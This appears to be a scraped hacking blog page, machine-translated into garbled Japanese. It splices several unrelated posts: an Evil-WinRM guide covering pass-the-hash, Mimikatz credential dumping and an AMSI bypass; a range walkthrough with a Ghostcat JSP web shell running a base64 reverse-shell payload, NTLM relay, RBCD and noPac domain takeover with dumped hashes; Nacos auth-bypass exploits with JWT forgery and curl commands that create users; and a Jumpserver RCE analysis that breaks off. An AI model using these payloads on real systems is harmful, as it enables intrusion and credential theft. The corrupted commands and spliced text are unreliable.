Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863117929

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

序文

Evil-WinRM

このツールは、もともとHackplayersチームによって開発されました。このツールを開発する目的は、特にMicrosoft Windows環境で、可能な限り浸透テストを簡素化することです。

Evil-WinRMはPowerShellリモートプロトコル(PSRP)を使用し、Windowsリモートはシステムとネットワーク管理者によってよく使用されます

管理プロトコルはアップロードおよび管理されています。 Winrmは、HTTPデフォルトポート5985を介して使用できるファイアウォールに優しいソーププロトコルです

HTTPトランスポートで使用。 PowerShellリモート処理の詳細については、公式Microsoft Webサイトをご覧ください。

https://Learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/enable-psremoting?view=powershell-7.3

邪悪なwinrmの紹介

Evil-WinRMは、Ruby言語を使用して開発されたオープンソースツールです。このツールには、プレーンテキストパスワードを備えたリモートログインなど、多くのクールな機能があります。SSL

暗号化されたログイン、NTLMハッシュログイン、キーログイン、ファイル転送、ログストレージ、その他の機能。この開発ツールの著者は、ツールを常に更新し、長い間更新を維持しています。使用

Evil-WinRM、リモートホストのPowerShellコマンドターミナルセッションを取得できます。このツールはKali Linux Systemsに統合されていますが、個別にダウンロードする場合は、公式のGITリポジトリからダウンロードできます。

ダウンロードリンク:https: //github.com/hackplayers/evil-winrm

winrmサービスディスカバリー

上記のように、リモートホストで有効になっている場合

WinRMサービスは、Evil-WinRMツールの使用に関連付けられます。ターゲットシステムがWINRMサービスを有効にしているかどうかを確認するために、NMAPを使用して2つのデフォルトのWINRMサービスポート5895を見つけることができます。

5896オンになっているかどうか。 NMAPスキャンの結果から、WinRMサービスが有効になっていることがわかりました。そのため、邪悪なWINRMツールを使用して、水平フェーズで探索する他のタスクをログインして実行できます。

NMAP -P 5985、5986 192.168 .1 .19

1049983-20230310091812296-761646061.png

邪悪なwinRMヘルプコマンドヘルプ

Evil-WinRMの利用可能なすべての機能をリストするには、すべてのヘルプコマンドを記述してリストする-Hフラグを単に使用できます。

Evil-WinRM -H 1049983-20230310091813306-1791686835.png

プレーンテキストパスワードでログイン

アカウントの列挙フェーズでプレーンテキストパスワードを取得し、リモートホストがWinRMサービスを有効にしていることに気付いたとします。ターゲットシステムでターゲットシステムIPアドレスを使用して、ターゲットシステムでリモートセッションを実行できることに気付きました。下の図に示すように、リモートのPowerShellセッションが確立されていることがわかります。

Evil -WinRM -I 192.168.1.19 -U管理者-p Ignite@987 1049983-20230310091814013-1687837742.png

プレーンテキストパスワードでログイン - SSLを有効にする

上記のように、WINRMサービスはHTTPプロトコル上でトラフィックを輸送できます。その後、Secure Socketsレイヤー(SSL)機能を使用して、接続が安全であることを確認できます。 SSLが有効になると、データは暗号化されたセキュアソケットレイヤーを介して転送されます。 Evil -WinRMを使用して、-Sパラメーターを使用して、リモートホストを使用してセキュアな送信用のコマンドを確立できます。

邪悪なwinrm -i 192.168.1.19 -u管理者-p Ignite@987 -S 1049983-20230310091814913-1666008939.png

ntlmハッシュを使用したログイン - ハッシュによる攻撃

イントラネットの浸透または解像度

Windowsの許可エスカレーションとActive Directoryの使用率に関連するプロジェクトでは、さまざまな攻撃方法を通じてNTLMハッシュ値を取得することがよくあります。

Windows Intranet環境にいる場合は、パススルーハッシュ攻撃を実行することにより、Evil-WinRMを使用してPowerShellを作成できます

セッションは、リモートログインにプレーンテキストパスワードを使用する代わりに、ハッシュをパスワードとして使用できるようにします。さらに、この攻撃は他のプロトコルをサポートしています。ハッシュを渡すと、-hパラメーターを使用できます。

Evil -WinRM -I 192.168.1.19 -U Administrator -H 32196B56F45E294117B91A83BF38 1049983-20230310091815919-322255289.png

load powershellスクリプト

Evil-WinRMは、ターゲットホストに付属のPowerShellスクリプトを使用できる機能も提供します。スクリプトはメモリに直接ロードでき、-sパラメーターを使用してターゲットシステムに接続されたPowerShellスクリプトの相対パスを使用できます。さらに、このツールは、スクリプトをインポートする前に必要なAMSI機能を提供します。次の例では、AMSI関数をバイパスし、システムから直接呼び出します

Invoke-Mimiktz.ps1スクリプトはターゲットホストに配置され、メモリにロードされます。その後、Mimikatzコマンドを使用できます。デモンストレーションのために、システムログイン資格情報をキャッシュから直接投棄しました。資格情報を投棄した後、ハッシュパス攻撃に取得したNTLMハッシュを再度使用できます。

https://github.com/clymb3r/powershell/blob/master/invoke-mimikatz/invoke-mimikatz.ps1

1049983-20230310091816698-1045152289.png

Evil -winrm -i 192.168.1.19 -u管理者-p Ignite@987 -s/opt/privsc/powershell

バイパス-4msi

Invoke-mimikatz.ps1

Invoke-Mimikatz 1049983-20230310091817650-2062958944.png

邪悪なwinrm

を使用してログを保存します

この関数は、リモートセッションを取得した後、実行コマンドのログがローカルシステムに保存されることを意味します。プロジェクトに取り組んでいるときは、後続のレポートと出力を実行するために資格情報を攻撃する必要があります。すべてのログは、-lパラメーターを使用してホストシステムに保存し、デフォルトで /root /vyol-winrm-logsディレクトリに保存できます。次の例では、IPConfigコマンドを同時に使用して、コマンド出力情報をホストシステムに保存できます。

Evil -WinRM -I 192.168.1.19 -U Administrator -P Ignite@987 -L 1049983-20230310091818503-1169021792.png

保存されたログコンテンツをチェックすることにより、コマンドログ出力が正常に保存されるかどうかを確認できます。上記のコマンドからのログ情報出力が保存されていることがわかります。

1049983-20230310091819303-1925120427.png

リモートフルパス関数を無効にします

デフォルトでは、ツールにはリモートフルパス機能が付属していますが、リモートパスフルパス機能を無効にする場合は、コマンドの-Nパラメーターを使用できます。個人がパスフル機能をオンまたはオフにすることを好むかどうかに依存しますが、自動フルパス機能に満足している場合は、デフォルト機能を自由に使用できます。

Evil -WinRM -I 192.168.1.19 -U Administrator -P Ignite@987 -N 1049983-20230310091820319-334324530.png

カラーインターフェイスを無効にします

Evil-WinRMを使用してリモートセッションを作成するたびに、美しい色付きのコマンドラインインターフェイスが生成されます。それにもかかわらず、Color Interface機能を無効にする場合は、-Nパラメーターを使用してセッションを作成するときに機能を無効にすることもできます。

Evil -WinRM -I 192.168.1.19 -U Administrator -P Ignite@987 -N 1049983-20230310091821002-86216428.png

実行可能ファイルを実行します

この機能は、コマンドラインに掲載できないPowerShellセッションを実施しながら、評価中に遭遇するリアルタイムの問題と困難を解決するように設計されています。この場合、Evil-WinRMセッションでEXE実行可能ファイルを実行できるようにしたいと考えています。ターゲットシステムで実行する実行可能ファイルがあるとします。

1049983-20230310091821739-279820440.png

Hackplayersチームは再びツールを設計し、すべての実行可能ファイルをEvil-WinRM PowerShellセッションで実行するための追加機能を追加しました。同様に、-eパラメーターを使用してExe実行可能バイナリを実行できます。次の例では、winpeas.exe実行可能ファイルがローカルコンピューター /opt /privscディレクトリに保存され、追加の関数(邪悪なwinRMメニューのinvoke-binaryコマンド)を使用して実行します。この機能により、コマンドラインシェルで実行される任意のexeバイナリを実行できます。

Evil -WinRM -I 192.168.1.19 -U Administrator -P IGNITE@987 -E /OPT /PRIVSC

バイパス-4msi

メニュー

Invoke-binary /opt/privsc/winpeasx64.exe 1049983-20230310091822804-340723136.png

実行可能パスを設定したら、ターゲットシステムで実行する任意の実行可能ファイルを使用できます。次の例では、winpeasx64.exeを呼び出し、vyver-winRMを使用してターゲットシステムに実行します。

1049983-20230310091823704-102115081.png

サービスクエリに邪悪なwinrmを使用

時には、浸透後のテストツールがターゲットシステムで実行されているサービス名を検出できない場合があります。

この場合、Evil-WinRMを使用して、ターゲットシステムで実行されているサービス名を見つけることができます。これを行うには、メニューにもう一度移動してサービス機能を使用できます。

プログラムホストを実行しているすべてのサービスをリストします。

1049983-20230310091824661-464154626.png

邪悪なウィンルムを使用したファイル転送

Evil-WinRMが可能な限りシンプルにするために最善を尽くしたことは間違いありません。コマンド操作を実行するには、常に攻撃マシンからリモートマシンにファイルを転送する必要があります。また、Evil-WinRMツールは非常に実用的な機能を提供します。特に、ターゲットシステムに設定されたアウトバウンドトラフィックルールに直面している場合、およびプロキシでEvil-WinRMを使用する場合。次の例では、 /rootディレクトリのnotes.txtファイルをターゲットシステムにアップロードします。

1049983-20230310091825389-2110387118.png

ファイルは、ターゲットシステムから攻撃者のマシンにダウンロードされます。同様に、次のコマンドを使用してダウンロードできます。

notes.txt /root/raj/notes.txtをダウンロードしてください

1049983-20230310091826103-463726946.png

1049983-20230310091826844-1420175986.png

docker

の邪悪なwinrmを使用しています

このツールもインストールできます

Dockerで。 DockerにEvil-WinRMにインストールする場合は、Dockerからも呼び出すことができます。

メインシステムのように実行されます。これを行うには、Dockerの構文とEvil-WinRMコマンドに従って、Dockerから呼び出します。

docker run - rm -ti -name Evil -winrm oscarakaelvis/Evil -winrm -i 192.168.1.105 -u管理者-p 'Ignite@987' 1049983-20230310091827602-1375680794.png

邪悪なWINRMキーでログイン

Evil -WinRMを使用すると、パブリックキーとプライベートキーを使用してリモートセッションを確立し、-Kとプライベートキーを使用したパラメーター、および-Cおよびパブリックキーを使用したパラメーターを使用することもできます。さらに、-Sパラメーターを追加して、SSLが暗号化とセキュアの接続を有効にできるようにすることもできます。

Evil -winrm -i 10.129.227.105 -c certificate.pem -k priv -key.pem -s 1049983-20230310091828303-682569362.png

0x01 - 情報

TAG: Tomcat、NTLM、WebClient、COERCE AUTHURTINATION、NOPAC 5f3flifo2tk2965.png

0x02 - 再

ターゲット外部IP 47.92.146.66

NMAPの結果

ポート8009(AJP)に焦点を当てることは、Tomcat(射撃範囲のTomcatタグに対応)bv44lihq3zu2966.pngディレクトリスキャンを意味します。404ページはTomcat 9.0.30 f2dp2nzldoh2967.pngとして表示されます。

このプロジェクトでテストします

https://github.com/00theway/ghostcat-cnvd-2020-10487

/web-inf/web.xml yyqkiz4ro432968.pngを読み取ります

url-pattern結果は辞書4gvwxkrov1p2969.pngとして保存されます

FFUF vrdcpmabyoe2970.png

UploadServlet 1ghojgom34o2971.pngをフォローしてください

Temp.txt f0lkwzqqij32972.pngをアップロードします

ファイルアドレスc20vdvfozh52973.png./upload/7dbbdee357b4472f5aad6b8ce83980ddddddddddddddddddddddddddddddddddddd.

./upload to /uploadを交換し、アップロードされたファイルを正常に読み取ります

Python3 ajpshooter.py http://47.92.146.66:8080 8009/upload/7dbbbdee357b4472f5aad6b8ce83980dd/202212060934444444444444444444444444444444444444440839.t

asroozh1fbh2974.png

0x03 - Ghostcatコマンド実行

shell.txt m1qwehukkqp2975.png%java.io.inputStream in=runtime.getRuntime()。 {echo、zwnobyaic3nolxjzysbbqufbqjnoemfdmxljmkvbqufbrefrqujbqufcz1fdl3nkady4uk5hwktlaknqae40wuxpsnj4edr3n3n3jtbgcc FRMMTNYNHVKZLPFZM4YU25SCE9RDXQ0OE1LDURHOETDCXCZRW0ZNU9ODXXDUA2P3ZEKVRGHGN3ZSETB0T2XTWDE5NMJHCXPNDE5PM1YZUHEXC3NC mzv5ui85shj6zjvedhdqs2nkdkphv0ruzzu2uwhzjlnr21vduzvqwv2qjdsuwl3a01fnwnxtzvsqtrwum5kveh2ru1oqukxkkccc3mtbeewnkt28 rngh1tgnnvjzhdus3uxdktwdnn0oyu2u5tepgzwk2r2g0amjusgrhdmnbvvvjvvvvjzefi4qvnxsmnqy29tm2dmuee1uwnxszznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznzs r3cejwwwlfuglhchlqrqr2y1t3eruu0xqmjyr0gvtlrbynzwa3dznbkrurwdvbnnnwhofy4c09htjixczlwazfjmvbbxaeh2wdz1ejhradrndudnq lryshlzb3dutjg3otexvdvgr0vjvzlweuh1cm9fsvjtde9sy3dbymrmc0k0nvhos1o0awoxderlntrtmmpxwxhjtjhsl1zuunv2rvvotvpgoula bdm3uw5eqnbfr25ltxfjtve4chvuzujbmngvsurhmfr6mwxjvgk5whp5wjvhetd4dtjwzstidxhwt1bsq2m9iia+piavcm9vdc8uc3nol2ff1dghv CMML6ZWRFA2V5CWOKY2HTB2QGNJAWIC9YB290LY5ZC2GVYXV0AG9YAXPLZF9RZXLZCG==} | {base64、-D} | {bash、-i} ")。 int a=-1; byte [] b=new byte [2048]; out.print( "pre"); while((a=in.read(b))!=-1){out.println(new String(b)); } out.print( "/pre");%

shell.txt ohtcdxcxizk2976.pngアップロードされたコードnjmzvilq2ku2977.pngSSH - FLAG01 infa3uyxlcr2978.pngを実行する

0x04 - ポータルUbuntu:172.22.11.76

SSH 0zovuchzfwo2979.png何もありません。aveqdtov0iy2980.pngにアクセスしてエージェントjl5dqk2iqvv2981.pngを開き、3つのホスト情報をスキャンして445をスキャンします172.22.11.45 XR-Desktop.Xiaorang.Labab

172.22.11.6 Xiaorang-DC.Xiaorang.lab

172.22.11.26 XR-LCM3AE8B.XIAORANG.LAB qhwbwdlo4fb2982.png

172.22.11.45 - Windows7 - MS17 wfr31ur1rwl2983.pngMS17 1つのGO tv3venfc4p32984.png基本操作hzlrpv2tnjv2985.png 3ebw5nwtfn52986.pngに注意してください

資格リスト管理者4430C690B4C1AB3F4FE4F8AC0410DE4A - (ローカル資格情報)

John 03CAE082068E8D55EA307B75581A8859 - (ローカル資格情報)

XR-DESKTOP $ 3AA5C26B39A226AB2517D9C57EF07E3E - (ドメイン資格情報)

yangmei 25e42ef4cc0ab6a8ff9e3edbbda91841 - xrihghgonzq(プレーンテキスト) - (ドメイン資格情報)

私は組み合わせの爆破を試しました、何もありません、私はここでデモをスキップして、ドメイン侵入リンクf4z5nvg2x3r2987.pngに直接行きました

flag2 kf1fw5w1nav2988.pngドメインユーザーyangmeiをマシンのローカル管理者に追加するfd3gzkveokg2989.pngドメイン制御IPを172.22.11.6 - Xiaorang-DC y1vbpletioe2990.pngBloodhound Collection gcmdhbmoo0y2991.png

0x05 - ドメイン浸透リンク、入学xr-desktop:172.22.11.45

これをすばやく実行しましょう(1つの文で概要:ドメインコントロールを直接削除することはできません)、Bloodhoundによって収集されたユーザー名の組み合わせを使用して取得したパスワード/ハッシュの組み合わせが爆破されました。他の新しいユーザーはMAQ=0を持っていることがわかりませんでした。コンピューターを追加できません。現在のLDAPにはTLSがなく、コンピューターをリモートで追加することはできません。インパケットの追加コンピューターには2つの方法があります。 SAMRとLDAPS。 SAMRはMAQ=0によって制限されており、コンピューターを追加できません。 LDAPSはTLS + MAQ=0で制限されています。ドメイン制御はnoPACが存在します。現在のユーザーYangmeiはNOPACを使用しており、ドメイン内のコンピューターコンテナ内のCreateChildのACLドメイン制御を殺しません。現在のユーザーYangmeiは現在のWindows Machine XR-DeskTopに手紙の許可を得ていません。つまり、DFSCoerceとPetitpotamはSamacCountNameドメインで変更できませんが、CVE-2019-1040は存在しません。 exploit:ridter/nopac: cve-2021-42278およびcve-2021-42287を悪用して、標準ドメインユーザー(github.com)petitpotamスキャン52fl5fs4vg42992.png NO ADCS + Petitpotam + NTLM Leray Play Play Plye

攻撃チェーン:Petitpotamを使用して、脆弱性のターゲットをトリガーし、WebClientサービスを有効にします。 Petitpotamを使用してターゲットをトリガーして、HTTPリレーサービスにアクセスします。ターゲットは、WebClientを使用してNTLM認証を携帯してリレーにアクセスし、その認証をLDAPにリレーし、マシンアカウントのIDを取得し、マシンアカウントとして独自のMSDS-ActonBehalfofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofoforidentity属性をマシンアカウントとして修正し、悪意のあるマシンアカウントがターゲットマシン(RBCD)へのアクセスをシミュレートして認証できるようにします。ターゲットマシンは、WebClientサービスを有効にする必要があります。

WebClientスキャン、そしてそれが勝つことしかできないことが確認されています。 172.22.11.26(XR-LCM3AE8B)x4l04pmb4l22993.pngリレー攻撃序文:実際の戦闘でのリレープレイは、80の占有サービスを停止し、ポート転送を有効にする必要があり、CSは後続のバージョンでRPORTFWD_LOCOLを追加し、クライアントローカルに直接転送します)。このデモンストレーションは、実際の戦闘プレイに似ています。入り口ubuntuにインパケットを投げることは選択しません。この操作リレー攻撃環境は:ポート転送+プロキシを構成します

現在、サーバーの80をローカルクライアントの80に転送する必要があります。SSHのリバースポート転送は127.0.0.1にしかリストであるため、現時点ではいくつかのトリックが必要です。

図に示すように、リバースポートフォワードポート79がすべてを聞くように指定している場合でも(-R \*:793360127.0.0.1:80)、ポート79はまだ127.0.0.1に結合しています(Socks5プロキシも図)uuxpin5lqvo2994.png

余分なソサットを追加して、トラフィックを0.0.0.0336080に127.0.0.1336079に転送し、クライアント側のローカル80に戻し、80を0.0.0.0 myqxsqya22q2995.pngで変装させてリッスンします。

テスト、172.22.11.76:80からのトラフィックは、地元のエリアa3ujfdfuk2j2996.pngに直接転送されます

NTLMRELAYXを開くローカル注:前述のようにLDAPSがないため、addComputerを使用することはできないため、IPを使用してRBCDSUDO ProxyChainsを設定した後、IPを使用してDCに接続することはできません。 -NO-ACL -ESCALATE-USER 'XR-DESKTOP $' - DELEGATE-ACCESS nabg32phjzf2997.png Petitpotamを使用してXR-LCM3AE8Bを172.22.11.76(Ubuntu)ProxyChains4 -F〜/htb/htb/htb/htb/htb/htb/htb/spopychingにトリガーしますpetitpotam.py -u yangmei -p 'xrihghgonzq' -d xiaorang.lab ubuntu@80/pwn.txt xr -lcm3ae8b

RBCD攻撃が完了していることがわかります。次のステップは、XR-LCM3AE8Bの銀行ノートを直接申請することです。qz4fetl54p52998.png XR-LCM3AE8B CIFS Notes re3z0ciswku2999.pngに応募します

0x06 - ドメイン浸透リンク - NOPAC、入り口XR-LCM3AE8B:172.22.11.26

PSEXECFLAG03 IN C: \ USERS \ Administrator \ flag \ flag03.txt(ここにスクリーンショットなし)kfftv1wj0zl3000.pngSMBCLIENT.py 1232126B24CDF8C9BD2F788A9D7C7ED1

tkg12ri1mge3001.png

Zhanghuiだけが成功することができます。 Zhanghuiは、MA_ADMINグループにオブジェクトを作成できます。 MA_ADMINグループはコンピューター用のオブジェクトを作成できますが、BloodHound -B 'CN=コンピューター、DC=Xiaorang、DC=lab' ntsecuritydescriptor -sddl +++ 3ua4w4oelon3002.pngにadfind.exeは表示されませんでした。

Bloodhoundを見ることができません。主な理由は、CreateChildがJSON szj2yzvgn1s3003.pngに収集されず、NOPACに戻り、さらにCreate-Childパラメーターufwsw4ilyqm3004.pngに戻ったことです。

0x07 - ドメイン浸透リンク - Xiaorang-DC

NOPACが適用したCIFSチケットを使用して、DCFLAG04にログインします。 c: \ uses \ administrator \ flag \ flag04.txt(ここにスクリーンショットはありません)04o40qujktu3005.pngドメインチューブ(Mimikatzを使用してスキップ)管理者0FADB57F5EC71437D1B03EEA2CDA70B9

![[gbcrhiu21z53006.png

0x08 - 周りで遊ぶ

bloodhound.pyがcreatechildを収集できない問題を解決しようとします

Bloodhound/Enumeration/Acls.pyは実際に変数を定義しているため、ybouszjudka3007.pngと呼びます

170行目に来て、それを追加し、CreateChildを見つけて、データe020zojuslt3008.pngを追加します

Bloodhound.pyをもう一度実行し、コンテナの結果を観察し、すでに関連するデータがあることを確認します。 RID 1132=MA_ADMINグループcteptyqljev3009.png

Bloodhound Diagram、しかしデータはまだ面倒ですgo4jiixgh313010.png元のリンク:https://www.anquanke.com/post/id/285771

NACOS脆弱性の概要の再発

1。 NACOSデフォルトキーは、ログインをバイパスする許可を引き起こします

NACOS=2.1.0に影響を与える問題がNACOSで見つかり、デフォルトのJWTキーを使用してNACOSユーザーが不正アクセスの脆弱性を引き起こしました。この脆弱性により、攻撃者はユーザー名とパスワード認証をバイパスし、NACOSユーザーに直接ログインできます。

0x00脆弱性の説明

0.1.0=NACOS=2.2.0

0x01脆弱性の影響

FOFA:app='nacos'

0x02脆弱性検索

nacosでは、token.secret.key値は固定されており、場所はアプリケーションです。

image.png

nacos.core.auth.plugin.nacos.token.secret.key=secretkey0123456789012345678901234567890123456789012345678901234567899

1.トークンを取得し、このデフォルトキーを使用してJWT構造を実行し、背景を直接入力します。建設方法:

https://jwt.io/で:デフォルトキーを入力してください:

SecretKey012345678901234567890123456789012345678901234567890123456789

次に、ペイロードを入力します。

{

'sub':' nacos '、

'exp': 1678899909

}

ここで注:1678899909の値はUNIXタイムスタンプです。変換したい場合は、システム内の現在よりも遅くなります。たとえば、現在の時刻は2023年3月15日22:11:09で、ここでのタイムスタンプ時間は3月16日です。

image.png

image.png

知らせ:

以下は、JWT値をバイパス許可に鍛造するテスト結果です

1.タイムスタンプを拡張し、パスワードを投稿するのが間違っていて、ユーザー名が正しい

2。タイムスタンプを拡張し、パスワードを投稿し、ユーザー名エラーを拡張します

3.タイムスタンプを削除してください、投稿のパスワードが間違っています、ユーザー名が間違っています

上記の値をコピーし、げっぷのログインを選択して構成します。

eyjhbgcioiijiuzi1niisinr5cci6ikpxvcj9.eyjzdwiioijuywnvcyisimv4cci6mty3odg5otkwox0.di28cdy76jcvtmsgiim12c4pukjuobz6j6j6dstuko7s

image.png

あなたはそれを箱に自分で追加する必要があります:

POST/NACOS/V1/AUTH/USERS/LOGIN HTTP/1.1

HOST: 10.211.55.5:8848

user-agent: mozilla/5.0(Macintosh; Intel Mac OS X 10.15; RV3360104.0)Gecko/20100101 Firefox/104.0

Accept: Application/Json、Text/Plain、 */*

Accept-Language: ZH-CN、ZH; Q=0.8、ZH-TW; Q=0.7、ZH-HK; Q=0.5、EN-US; Q=0.3、EN; Q=0.2

Accept-Encoding: gzip、deflate

Content-Type:アプリケーション/x-www-form-urlencoded

Content-Length: 33

Origin: http://10.211.55.533608848

Connection:閉じます

Referer: http://10.211.55.533608848/nacos/index.html

Authorization: Bearer eyjhbgcioiijiuzi1niisinr5cci6ikpxvcj9.eyjzdwiioiiijuywnvcyisimv4cci6mty3odg5otkwox0.di28cdy76jcvtmsgiim12c4pukjuobz6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6dstuko7s

username=crowsecpassword=crowsec

この時点で、トークン情報を受け取りました。

HTTP/1.1 200

Vary: Origin

VARY: Access-Control-Request-Method

Vary: Access-Control-Request-Headers

content-security-policy: script-src 'self'

set-cookie: jsessionid=d90cf6e5b233685e4a39c1b1bda9f185; path=/nacos; httponly

Authorization: Bearer eyjhbgcioiijiuzi1niisinr5cci6ikpxvcj9.eyjzdwiioiiijuywnvcyisimv4cci6mty3odg5otkwox0.di28cdy76jcvtmsgiim12c4pukjuobz6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6dstuko7s

Content-Type:アプリケーション/JSON

日付:水曜日、2023年3月15日14336013:22 GMT

Connection:閉じます

Content-Length: 197

{'AccessToken':'eyjhbgcioiijiuzi1niisinr5cci6ikpxvcj9.eyjzdwiioiijuywnvcyisimv4cci6mty3odg5otkwox0.di28c dy76jcvtmsgiim12c4pukjuuobz6j6dstuko7s '、' tokenttl':18000、 'globaladmin':true、' username':'nacos '}

この時点で、NACOSのトークン情報を受け取りました。

2。トークンを使用してログインしてバックグラウンドにログインする方法は?ここでは、偽のアカウントでログインしてから変更してパッケージに戻る必要があります。試してみてください:

最初に偽のアカウントでログインし、げっぷを使用して傍受:image.png

これは間違いなくアクセスできません。ここで返品パッケージを変更し、右クリックしてこれを読みます:

image.png

その後、ここで返される情報は間違いなく無効です:

image.png

ここでは、今すぐ生成されたリターンパッケージを使用して、それを交換し、すべてをコピーします。

image.png

再びフォワード:image.png

今、私はすでに入力したので:

image.png

3.デフォルトキーを使用してJWTを生成して現在のユーザー名とパスワードを表示します/nacos/v1/auth/users?accesstoken=eyjhbgcioiiuzi1niisinr5cci6ikpxvcj9.eyjzdwiioijuywnvc yisimv4cci6mty3odg5otkwox0.di28cdy76jcvtmsgiim12c4pukjuubz6j6dstuko7spageno=1pagesize=9 http/1.1host: {{hostname}} user-agent: mozilla/5.0accept-encoding: gzip、deflateconnection: closeif-midified-since:水、2023年2月15日gmtupgrade-insecure-requests: 1accesstoken: eyjhbgcioiijiuzi1niisinr5cci6ikpxvcj9.eyjzdwiioijuywnvcyisimv4cci6mty3odg5otkwox0.di28cdy76jcvtmsgiim12c4pukjuobz6j6dstuk7s4j6dstu7s4dstu7s.dstuko7sヘロナコス、そしてそれを正常に作成します

post/nacos/v1/auth/users http/1.1host: {{hostname}} user-agent: mozilla/5.0authorization: bearereyjhbgcioiijiuzi1niisinr5cci6ikpxvcj9.eyjzdwiioijuywnvcyisimv4cci6mty3odg5otkwox0.di28cdy76jcvtmsgiim12c4puk4pukjuobz6j6dstuko7siccechict-ecobjubz6dstuko7siccecepudipubz DeflateConnection: CloseUpgrade-Insecure-Requests: 1IF-Modified-Since:水曜日、2023年2月15日10:45:10 GMTCONTENT-TYPE3:アプリケーション/X-WWW-WWW-form-on-Length: 39

username=hellonacospassword=hellonacos

0x03脆弱性の再発

http://10.10.84.2073:8848/nacos/v1/auth/users?pageno=1pagesize=9search=quarceateaccesstokenhttp://your_ip:8848/nacos/v1/auth/?pageno=1pageno=1pageno 1049983-20230323105704604-273123776.jpg

2。 NACOSデフォルト構成不正アクセスの脆弱性

ServerIdentity

3。 NACOS2.2.0許可バイパス

追加ServerIdentity31049983-20230323105705306-318833055.jpg Addy ServerIdentity 1049983-20230323105705306-318833055.jpg (dnacos.core.auth.enabled=true)、authfilterサーブレットフィルターは、認証を強制するために使用されるため、認証チェックをスキップします。このメカニズムは、ユーザーエージェントHTTPヘッダーに依存するため、簡単にスプーフィングされます。この問題により、すべてのユーザーがNACOSサーバーで管理タスクを実行できる場合があります。

iv。 Nacos1.x.xバージョンユーザーエージェント許可バイパス((CVE-2021-29441)

Docker run -D -P 8848:8848 HGLIGHT/CVE-2021-29441

0x01脆弱性の説明

NACOS=1.4.1 :010101。 http://Target:88848/nacos/v1/auth/users?pageno=1pagesize=9戻り値が200であることがわかります。

Host: 192.168.246.138:8848

user-agent: nacos-server 1049983-20230323105706774-1149816692.png

または、コマンドを使用してアクセスしてください。ユーザーパスワードを読む:curl 'http://127.0.0.0.1:8848/nacos/v1/auth/users?pageno=1pagesize=9accesstoken=' -h 'user -agent: nacos-server'curl'http://127.0.0.13:8848/nacos/v1/auth/users?pageno=1pagesize=9search=blur'-h'user-agent3:nacos-server '

curl'http://127.0.0.133608848/nacos/v1/auth/users?pageno=1pagesize=9search=quarce'-h'user-agent:nacos-server'unauthorizedユーザーの追加curl-xpost'http://127.0.0.1:8848/nacos/v1/auth/users?username=test1password=test1 '-h' user-agent:nacos-serverユーザーパスワードの変更curl-x put 'http://127.0.0.1:8848/nacos/v1/auth/users?accesstoken=' -h 'user -agent:nacos -server' -d 'username=test1newpassword=test2'read構成ファイルcurl-xget'http://127.0.0.133608848/nacos/v1/cs/configs?search=quarceatedataid=group=pageno=1pagesize=9 9'curl-xget'3http://127.0.0.1:8848/nacos/v1/cs/configs?search=bludataid=group=pageno=1pagesize=99 '

ヘッダーヘッダーを追加した後、POSTメソッドを使用してhttp://TARGET:88848/NACOS/V1/AUTH/USERS?USERNAME=VULHUBPASSWORD=valHubadd、アカウントパスワードはVulHubPost/Nacos/V1/use/users=hglightpassword=hglightpassword=hglightpassword=hglightpasswordです。

Host: 192.168.246.138:8848

user-agent: nacos-serverまたはpost/nacos/v1/auth/users http/1.1host: 192.168.31.643:88848Cache-control3360 max-age=0upgrade-insecure-Requerestess3360 1USer-agent: NACOS-Serveraccept-Encoding: GZIP、DERLATEACCEPT-LANGUAGE: ZH-CN、ZH; Q=0.9Connection: closecontent-type:アプリケーション/X-WWW-FORM-URLENCODEDEDEDEDEDCONTENT-LENGTENT-LENGTENT-LENGTEN 1049983-20230323105707562-1407732490.pngユーザーリストをもう一度表示します。返されたユーザーリストデータには、バイパス認証によって作成された追加の新しいユーザーがあります。

get/nacos/v1/auth/users/?pageno=1pagesize=9 http/1.1

Host: 192.168.246.138:8848

user-agent: nacos-server 1049983-20230323105708417-444131267.pngアクセスhttp://IP:8848/NACOSは新しいユーザーでログインします。

0はじめに

Jumpserverは、オープンソースのバスティオンマシンであり、4A仕様に準拠した運用およびメンテナンスセキュリティ監査システムです。素人の用語では、それはスプリングボードマシンです。

2021年1月15日、Jumpserverはセキュリティアップデートをリリースし、リモートコマンドの実行の脆弱性を修正しました。一部のJumpserverインターフェイスには認可制限がないため、攻撃者は悪意のあるリクエストを作成して機密情報を取得するか、すべてのマシンを制御して任意のコマンドを実行するための関連操作を実行できます。

影響バージョン:

JumpServer V2.6.2JumpServer V2.5.4JumpServer V2.4.5JumpServer=V1.5.9

1。脆弱性分析

修理コードのコミットレコードを参照してください: https://github.com/jumpserver/jumpserver/commit/f04e2fa0905a7cd439d7f6118bc810894eed3f3e

CeleryLogWebsocketクラスの接続がID認証で追加されたことがわかりました。

インポート時間

OSをインポートします

スレッドをインポートします

JSONをインポートします

common.utilsからImport get_loggerから

from .celery.utilsインポートget_celery_task_log_path

.ansible.utilsからImport get_ansible_task_log_pathから

from Channels.generic.websocketインポートjsonwebsocketconsumer

logger=get_logger(__ name__)

クラスTaskLogWebsocket(JSONWebsocketConsumer):

切断=false

log_types={

'Celery ': get_celery_task_log_path、

'ansible ': get_ansible_task_log_path

}

def connect(self):

user=self.scope ['user']

user.is_authenticatedおよびuser.is_org_admin:の場合

self.accept()

else:

self.close()

def get_log_path(self、task_id):

func=self.log_types.get(self.log_type)

func:の場合

return func(task_id)

def receive(self、text_data=none、bytes_data=none、** kwargs):

data=json.loads(text_data)

task_id=data.get( 'task')

self.log_type=data.get( 'type'、 'celry')

if task_id:

self.handle_task(task_id)

def wait_util_log_path_exist(self、task_id):

log_path=self.get_log_path(task_id)

self.disconnected:ではありません

os.path.exists(log_path):ではない場合

self.send_json({'message':'。 '、' task ': task_id}))

time.sleep(0.5)

続行します

self.send_json({'message':' \ r \ n '})

try:

